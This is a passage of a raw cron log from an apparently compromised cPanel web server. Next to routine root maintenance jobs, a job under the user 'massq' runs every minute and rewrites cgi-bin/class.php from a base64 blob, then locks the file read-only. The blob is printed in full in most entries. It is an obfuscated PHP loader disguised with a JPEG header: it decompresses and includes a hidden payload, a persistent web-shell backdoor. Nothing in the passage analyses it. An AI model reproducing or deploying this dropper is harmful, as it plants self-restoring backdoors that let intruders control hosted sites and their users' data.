GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:15:01 server CROND[17281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:15:01 server CROND[17282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:15:01 server CROND[17283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:16:01 server CROND[17391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:17:01 server CROND[17446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:18:01 server CROND[17640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:19:01 server CROND[17700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:20:01 server CROND[17760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:20:01 server CROND[17759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:20:01 server CROND[17762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 07:20:01 server CROND[17761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:20:01 server CROND[17763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:21:01 server CROND[17884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:22:01 server CROND[17946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:23:01 server CROND[18100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:24:01 server CROND[18152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:25:01 server CROND[18221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:25:01 server CROND[18222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:25:01 server CROND[18223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:26:01 server CROND[18336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:27:02 server CROND[18389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 07:27:02 server CROND[18390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:28:01 server CROND[18458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9